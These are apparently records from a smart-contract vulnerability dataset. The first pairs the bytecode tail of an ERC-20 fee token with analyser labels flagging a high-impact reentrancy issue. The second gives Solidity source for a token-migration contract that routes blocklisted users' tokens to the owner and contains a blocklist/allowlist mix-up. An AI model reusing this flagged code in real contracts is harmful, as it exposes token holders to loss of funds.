fffffffffff1614155b801561171d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117355750600f60179054906101000a900460ff165b156117e55760105481111561174957600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179457600080fd5b601e426117a19190612e3a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118905750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118e65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118fc576002600a81905550600a600b819055505b600061190730610771565b9050600f60159054906101000a900460ff161580156119745750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198c5750600f60169054906101000a900460ff165b156119b45761199a81611b93565b600047905060008111156119b2576119b147611a2a565b5b505b505b6119c1838383611e8d565b505050565b6000838311158290611a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a059190612ba2565b60405180910390fd5b5060008385611a1d9190612f1b565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a7a600284611e9d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611aa5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611af6600284611e9d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b21573d6000803e3d6000fd5b5050565b6000600854821115611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6390612be4565b60405180910390fd5b6000611b76611ee7565b9050611b8b8184611e9d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bf1577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611c1f5781602001602082028036833780820191505090505b5090503081600081518110611c5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cff57600080fd5b505afa158015611d13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d379190612680565b81600181518110611d71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dd830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111f6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e3c959493929190612d1f565b600060405180830381600087803b158015611e5657600080fd5b505af1158015611e6a573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e98838383611f12565b505050565b6000611edf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120dd565b905092915050565b6000806000611ef4612140565b91509150611f0b8183611e9d90919063ffffffff16565b9250505090565b600080600080600080611f24876121a2565b955095509550955095509550611f8286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061201785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612063816122b2565b61206d848361236f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120ca9190612d04565b60405180910390a3505050505050505050565b60008083118290612124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211b9190612ba2565b60405180910390fd5b50600083856121339190612e90565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050612176683635c9adc5dea00000600854611e9d90919063ffffffff16565b82101561219557600854683635c9adc5dea0000093509350505061219e565b81819350935050505b9091565b60008060008060008060008060006121bf8a600a54600b546123a9565b92509250925060006121cf611ee7565b905060008060006121e28e87878761243f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061224c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c6565b905092915050565b60008082846122639190612e3a565b9050838110156122a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229f90612c24565b60405180910390fd5b8091505092915050565b60006122bc611ee7565b905060006122d382846124c890919063ffffffff16565b905061232781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123848260085461220a90919063ffffffff16565b60088190555061239f8160095461225490919063ffffffff16565b6009819055505050565b6000806000806123d560646123c7888a6124c890919063ffffffff16565b611e9d90919063ffffffff16565b905060006123ff60646123f1888b6124c890919063ffffffff16565b611e9d90919063ffffffff16565b905060006124288261241a858c61220a90919063ffffffff16565b61220a90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061245885896124c890919063ffffffff16565b9050600061246f86896124c890919063ffffffff16565b9050600061248687896124c890919063ffffffff16565b905060006124af826124a1858761220a90919063ffffffff16565b61220a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124db576000905061253d565b600082846124e99190612ec1565b90508284826124f89190612e90565b14612538576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252f90612c44565b60405180910390fd5b809150505b92915050565b600061255661255184612db9565b612d94565b9050808382526020820190508285602086028201111561257557600080fd5b60005b858110156125a5578161258b88826125af565b845260208401935060208301925050600181019050612578565b5050509392505050565b6000813590506125be816133a5565b92915050565b6000815190506125d3816133a5565b92915050565b600082601f8301126125ea57600080fd5b81356125fa848260208601612543565b91505092915050565b600081359050612612816133bc565b92915050565b600081519050612627816133bc565b92915050565b60008135905061263c816133d3565b92915050565b600081519050612651816133d3565b92915050565b60006020828403121561266957600080fd5b6000612677848285016125af565b91505092915050565b60006020828403121561269257600080fd5b60006126a0848285016125c4565b91505092915050565b600080604083850312156126bc57600080fd5b60006126ca858286016125af565b92505060206126db858286016125af565b9150509250929050565b6000806000606084860312156126fa57600080fd5b6000612708868287016125af565b9350506020612719868287016125af565b925050604061272a8682870161262d565b9150509250925092565b6000806040838503121561274757600080fd5b6000612755858286016125af565b92505060206127668582860161262d565b9150509250929050565b60006020828403121561278257600080fd5b600082013567ffffffffffffffff81111561279c57600080fd5b6127a8848285016125d9565b91505092915050565b6000602082840312156127c357600080fd5b60006127d184828501612603565b91505092915050565b6000602082840312156127ec57600080fd5b60006127fa84828501612618565b91505092915050565b60008060006060848603121561281857600080fd5b600061282686828701612642565b935050602061283786828701612642565b925050604061284886828701612642565b9150509250925092565b600061285e838361286a565b60208301905092915050565b61287381612f4f565b82525050565b61288281612f4f565b82525050565b600061289382612df5565b61289d8185612e18565b93506128a883612de5565b8060005b838110156128d95781516128c08882612852565b97506128cb83612e0b565b9250506001810190506128ac565b5085935050505092915050565b6128ef81612f61565b82525050565b6128fe81612fa4565b82525050565b600061290f82612e00565b6129198185612e29565b9350612929818560208601612fb6565b612932816130f0565b840191505092915050565b600061294a602383612e29565b915061295582613101565b604082019050919050565b600061296d602a83612e29565b915061297882613150565b604082019050919050565b6000612990602283612e29565b915061299b8261319f565b604082019050919050565b60006129b3601b83612e29565b91506129be826131ee565b602082019050919050565b60006129d6602183612e29565b91506129e182613217565b604082019050919050565b60006129f9602083612e29565b9150612a0482613266565b602082019050919050565b6000612a1c602983612e29565b9150612a278261328f565b604082019050919050565b6000612a3f602583612e29565b9150612a4a826132de565b604082019050919050565b6000612a62602483612e29565b9150612a6d8261332d565b604082019050919050565b6000612a85601783612e29565b9150612a908261337c565b602082019050919050565b612aa481612f8d565b82525050565b612ab381612f97565b82525050565b6000602082019050612ace6000830184612879565b92915050565b6000604082019050612ae96000830185612879565b612af66020830184612879565b9392505050565b6000604082019050612b126000830185612879565b612b1f6020830184612a9b565b9392505050565b600060c082019050612b3b6000830189612879565b612b486020830188612a9b565b612b5560408301876128f5565b612b6260608301866128f5565b612b6f6080830185612879565b612b7c60a0830184612a9b565b979650505050505050565b6000602082019050612b9c60008301846128e6565b92915050565b60006020820190508181036000830152612bbc8184612904565b905092915050565b60006020820190508181036000830152612bdd8161293d565b9050919050565b60006020820190508181036000830152612bfd81612960565b9050919050565b60006020820190508181036000830152612c1d81612983565b9050919050565b60006020820190508181036000830152612c3d816129a6565b9050919050565b60006020820190508181036000830152612c5d816129c9565b9050919050565b60006020820190508181036000830152612c7d816129ec565b9050919050565b60006020820190508181036000830152612c9d81612a0f565b9050919050565b60006020820190508181036000830152612cbd81612a32565b9050919050565b60006020820190508181036000830152612cdd81612a55565b9050919050565b60006020820190508181036000830152612cfd81612a78565b9050919050565b6000602082019050612d196000830184612a9b565b92915050565b600060a082019050612d346000830188612a9b565b612d4160208301876128f5565b8181036040830152612d538186612888565b9050612d626060830185612879565b612d6f6080830184612a9b565b9695505050505050565b6000602082019050612d8e6000830184612aaa565b92915050565b6000612d9e612daf565b9050612daa8282612fe9565b919050565b6000604051905090565b600067ffffffffffffffff821115612dd457612dd36130c1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e4582612f8d565b9150612e5083612f8d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e8557612e84613063565b5b828201905092915050565b6000612e9b82612f8d565b9150612ea683612f8d565b925082612eb657612eb5613092565b5b828204905092915050565b6000612ecc82612f8d565b9150612ed783612f8d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f1057612f0f613063565b5b828202905092915050565b6000612f2682612f8d565b9150612f3183612f8d565b925082821015612f4457612f43613063565b5b828203905092915050565b6000612f5a82612f6d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612faf82612f8d565b9050919050565b60005b83811015612fd4578082015181840152602081019050612fb9565b83811115612fe3576000848401525b50505050565b612ff2826130f0565b810181811067ffffffffffffffff82111715613011576130106130c1565b5b80604052505050565b600061302582612f8d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561305857613057613063565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133ae81612f4f565b81146133b957600080fd5b50565b6133c581612f61565b81146133d057600080fd5b50565b6133dc81612f8d565b81146133e757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122052ece6f9cf12c1cc440615199be2822381ec760a19f9c4b11917e219c8f2893264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 16068, 2692, 2063, 22022, 2546, 2620, 2497, 26976, 2497, 28154, 2050, 22275, 2278, 2475, 3540, 7875, 19961, 10790, 2098, 2497, 14142, 27531, 2094, 2692, 19841, 1013, 1008, 1008, 1008, 1008, 1013, 1013, 1008, 2460, 2744, 2033, 4168, 9413, 2278, 1011, 2322, 19204, 2081, 2125, 3449, 2239, 1005, 1055, 3522, 1056, 28394, 2102, 2055, 14253, 7072, 1012, 3693, 1996, 1056, 2290, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 14253, 3207, 5302, 26775, 15719, 2121, 2278, 11387, 19204, 25524, 1024, 100, 2260, 1003, 4171, 100, 2053, 4098, 2102, 2595, 100, 2053, 6402, 100, 2028, 23458, 4425, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,025
0x9615460582Efa2a9b1d8D21e7E02afE43A415E13
// SPDX-License-Identifier: UNLICENSED // based on ref code from gnt pragma solidity 0.8.7; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; import "../interfaces/IBlocklist.sol"; import "../interfaces/IAllowlist.sol"; // Allows user to migrate from old token to new token by burning the old token contract TokenMigrator is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct SwapRecord { uint256 amount; uint256 unlockTimestamp; } ERC20Burnable public target; IERC20 public oldToken; IBlocklist private _blocklist; IAllowlist private _allowlist; uint256 public startTime; address[] public stakers; // address public constant burn = 0x000000000000000000000000000000000000dEaD; mapping(address => SwapRecord) public lockedSwaps; event TargetChanged(ERC20Burnable previousTarget, ERC20Burnable changedTarget); event BlocklistChanged(IBlocklist previousTarget, IBlocklist changedTarget); event AllowlistChanged(IAllowlist previousTarget, IAllowlist changedTarget); event SwapLocked(address from, uint256 value, uint256 unlockTimestamp); event Migrated(address from, address to, ERC20Burnable target, uint256 value); constructor( IERC20 _oldToken, ERC20Burnable _target, IBlocklist bl, IAllowlist al ) { require(address(_oldToken) != address(0), "FD:0AD"); oldToken = _oldToken; target = _target; _blocklist = bl; _allowlist = al; startTime = block.timestamp; } function migrate(uint256 _value) external { require(address(target) != address(0), "FD:0AD"); oldToken.transferFrom(msg.sender, 0x000000000000000000000000000000000000dEaD, _value); if (_inAllowlist(msg.sender) || _inBlocklist(msg.sender)) { _sendTokens(_value, msg.sender); return; } uint256 tenPrctOfDeposit = _value / 10; _value -= tenPrctOfDeposit; SwapRecord memory existingSwap = lockedSwaps[msg.sender]; existingSwap.amount += _value; existingSwap.unlockTimestamp = block.timestamp + 5 days; lockedSwaps[msg.sender] = existingSwap; _sendTokens(tenPrctOfDeposit, msg.sender); emit SwapLocked(msg.sender, _value, existingSwap.unlockTimestamp); } function releaseTokens() external { require(address(target) != address(0), "FD:0AD"); _releaseForUser(msg.sender); } function setTarget(ERC20Burnable _target) external onlyOwner { emit TargetChanged(target, _target); target = _target; } function setBlocklist(IBlocklist bl) external onlyOwner { emit BlocklistChanged(_blocklist, bl); _blocklist = bl; } function setAllowlist(IAllowlist al) external onlyOwner { emit AllowlistChanged(_allowlist, al); _allowlist = al; } function releaseForAll() external onlyOwner { uint256 stakersLength = stakers.length; for (uint256 i = 0; i < stakersLength; i++) { address staker = stakers[i]; _releaseForUser(staker); } } // Based on community advice. once a preset epoch of 1-2 mos expired, // all tokens in the contract // should be burnt. this will reduce circulating supply and // reassure the community of limited dilution function burnAll() external onlyOwner { require((startTime + 60 days) < block.timestamp, "TM:Too early"); target.burn(target.balanceOf(address(this))); } function _inBlocklist(address to) internal returns (bool) { if (address(_blocklist) != address(0) && _blocklist.inBlockList(to)) { return true; } else { return false; } } function _inAllowlist(address to) internal returns (bool) { if (address(_blocklist) != address(0) && _allowlist.inAllowlist(to)) { return true; } else { return false; } } function _releaseForUser(address to) internal { SwapRecord memory existingSwap = lockedSwaps[to]; if (_inAllowlist(to)) { existingSwap.unlockTimestamp = block.timestamp; } if (existingSwap.amount > 0 && block.timestamp >= existingSwap.unlockTimestamp) { delete lockedSwaps[to]; _sendTokens(existingSwap.amount, to); } } function _sendTokens(uint256 amount, address to) internal { if (_inBlocklist(to)) { target.transfer(owner(), amount); emit Migrated(to, owner(), target, amount); } else { target.transfer(to, amount); emit Migrated(to, to, target, amount); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; interface IBlocklist { function inBlockList(address _user) external returns (bool _isInBlocklist); } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; interface IAllowlist { function inAllowlist(address _user) external returns (bool _isInAllowlist); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. 